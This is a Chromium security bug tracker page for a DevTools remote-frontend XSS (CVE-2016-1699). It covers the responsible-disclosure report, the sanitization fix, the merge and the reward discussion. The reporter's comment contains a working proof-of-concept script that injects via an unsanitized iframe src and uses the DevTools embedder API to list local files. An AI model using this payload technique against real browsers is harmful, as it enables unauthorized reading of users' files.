New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users

Issue metadata

Status: Fixed
Closed: Nov 2017
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Sign in to add a comment

Issue 607939: Security: Devtools allows running privileged scripts via XSS on

Reported by, Apr 29 2016

Issue description

Specifically crafted input to whitelisted URLs on Devtools remote frontend, an attacker
can run privileded code in Chrome with filesystem access.

The issue is similar to  Issue 571121 , but it has a different attack vector.

Chrome's remote devtools front-end accessed pages only from whitelisted domain (
Src: [var: kRemoteFrontendBase]

For example accessing in Chrome:
 chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html loads

However, the above URL takes an input param "remoteFrontendUrl" which is used to write an iframe's src param without sanitization.
( document.write("<iframe id='inspector-app-iframe' class='fill' src='" + src + "'></iframe>"); )
The CSP of the page allows unsafe-eval, and unsafe-inline javascript execution. This allows an attacker to run javascript
code in context of devtools. 

On first load, access to DevToolsAPI/DevToolsHost was not available and isHosted() call returned true. This didn't provide file-system access.
However, I noticed that but triggering a reload was enough to change behaviour ie. isHosted() returns false, and also exposes more objects [DevToolsAPI/DevToolsHost].
The above behaviour [reload] could be a different bug (didn't investigate root cause).

Demo Attack Script [pre-encoding]:
function f() {
c='d="",DevToolsAPI.streamWrite=function(e,o){d+=o},DevToolsAPI.sendMessageToEmbedder("loadNetworkResource",["file:///C:/","",0],function(e){d.split("\\n").map(function(e){e.match(/addRow.*;/)&&document.write(e.match(/addRow.*;/)[0]);})});' ;
if( typeof window.parent.DevToolsHost == "undefined" ) 
setTimeout('window.parent.location.reload()', 100) ;
setTimeout('f()', 100) ;

The final exploit is delivered by specifying the providing the above script in encoded form as iframe's src url as javascript:eval(..).
( The javascript was minified inorder to keep the input param to resonable size. Larger input causes the server to return bad request. )
Chrome Version: 50.0.2661.94m
Operating System: All

Copy-paste the full URL from the attached Devtools-Crafted-URI.txt into Chrome omnibox.
For demo purposes, it displays the content of C:\ drive
1.8 KB View Download

Comment 1 by, Apr 29 2016

Components: Platform>DevTools>Security

Comment 2 by, Apr 29 2016

Status: Assigned (was: Unconfirmed)
dgozman: Can you please take a look?

Comment 3 by, May 2 2016

Labels: Security_Severity-High M-50 Security_Impact-Stable OS-All

Comment 4 by ClusterFuzz, May 2 2016

Project Member
Labels: Pri-1

Comment 5 by, May 11 2016

I believe this issue can be resolved by disallowing remote frontend access to old revisions hosted on

Comment 6 by, May 11 2016


Comment 7 by, May 14 2016

Project Member
dgozman: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit - Your friendly Sheriffbot

Comment 8 by, May 16 2016

@dgozman: I don't think there is an issue here: there is no "remoteFrontendUrl" in our system and "remoteBase" is sanitized. Could you verify and close this?

Comment 9 by, May 16 2016

Old frontend versions used to have remoteFrontendUrl. I think we can filter in compatibility script.

Comment 10 by, May 16 2016

Ah. I wonder if remote modules should be managed by embedder only.

Comment 11 by, May 16 2016

Project Member
The following revision refers to this bug:

commit c5eecf67fd8d5e8d24d2d4d9489753d2c8cf6c59
Author: dgozman <>
Date: Mon May 16 22:26:05 2016

[DevTools] Sanitize remoteFrontendUrl for old frontends.

BUG= 607939 

Cr-Commit-Position: refs/heads/master@{#393952}


Comment 12 by, May 16 2016

Status: Fixed (was: Assigned)
Should be fixed - the crafted url from attachment doesn't work for me anymore.

Comment 13 by ClusterFuzz, May 17 2016

Project Member
Labels: Merge-Triage M-51 M-52
Adding Merge-Triage label for tracking purposes.

Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Request-XX label, where XX is the Chrome milestone.

When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on

Your fix is very close to the branch point. After the branch happens, please make sure to check if your fix is in.

- Your friendly ClusterFuzz

Comment 14 by, May 18 2016

Project Member
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 15 Deleted

Comment 16 by, May 24 2016

Labels: -Merge-Triage reward-topanel Merge-Request-51
Thanks for the report! We'll assess this under our Chrome Security Reward program - full details here:

Fix is already in M52 - let's try to get this into M-51 by 4pm today.

Comment 17 by, May 24 2016

Labels: -Merge-Request-51 Merge-Review-51 Hotlist-Merge-Review
[Automated comment] Less than 2 weeks to go before stable on M51, manual review required.

Comment 18 by, May 25 2016

Labels: -Merge-Review-51 Merge-Approved-51
Merge approved for M51 (branch 2704)

Comment 19 by, May 25 2016

Project Member
Labels: -merge-approved-51 merge-merged-2704
The following revision refers to this bug:

commit 691a0629b89c7118063365a6846bc6baa0a0b0e5
Author: Dmitry Gozman <>
Date: Wed May 25 17:50:49 2016

Merge to 2704 "[DevTools] Sanitize remoteFrontendUrl for old frontends."
>[DevTools] Sanitize remoteFrontendUrl for old frontends.
>BUG= 607939 
>Cr-Commit-Position: refs/heads/master@{#393952}
(cherry picked from commit c5eecf67fd8d5e8d24d2d4d9489753d2c8cf6c59)

Review URL: .

Cr-Commit-Position: refs/branch-heads/2704@{#658}
Cr-Branched-From: 6e53600def8f60d8c632fadc70d7c1939ccea347-refs/heads/master@{#386251}


Comment 20 by, May 31 2016

Labels: Release-1-M51

Comment 21 by, Jun 3 2016

Noticed that I got credited, CVE assigned (+ reward mentioned) @ (51.0.2704.79)

The labels haven't been updated here yet. Can we get the ball rolling ? :)

Comment 22 by, Jun 6 2016

Labels: -reward-topanel reward-unpaid reward-3500 CVE-2016-1699
#21: You're too fast! :)

Some notes from the reward panel regarding your reward: Reduced amount due to the user interaction required and pre-conditions for exploitation (copy-paste into DevTools or requires a malicious extension).

Someone from our finance department will be contact within 7 days to collect payment details. If that doesn't happen, please either update the bug or reach out to me at timwillis@.

CVE-ID is CVE-2016-1699.

Thanks again for your report - looking forward to seeing you back here sometime soon!

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an established charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Comment 23 by, Jun 6 2016

Labels: -Security_Severity-High Security_Severity-Medium
Updating severity.

Comment 24 by, Jun 6 2016

Labels: -reward-unpaid reward-inprocess

Comment 25 by, Jun 7 2016

Thank you :)

Comment 26 by, Jun 8 2016

I was able to bypass the fix (in combination with XSS Auditor bypass). Details @  Issue 618333 

Comment 27 by, Aug 10 2016

Labels: reward-topanel

Comment 28 by, Aug 23 2016

Project Member
Labels: -Restrict-View-SecurityNotify
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot

Comment 29 by, Aug 24 2016

Labels: -reward-topanel

Comment 30 by, Oct 1 2016

Project Member
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot

Comment 31 by, Oct 2 2016

Project Member
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot

Comment 32 by, Oct 2 2016

Labels: allpublic

Comment 33 by, Nov 14 2017

Status: Assigned (was: Fixed)
dgozman@: PTAL at

Comment 34 by, Nov 14 2017

Status: Fixed (was: Assigned)
 Issue 775527  tracks this (slightly different, but similar) problem. The original one was fixed.

Comment 35 by, Apr 25 2018

Labels: CVE_description-submitted

Sign in to add a comment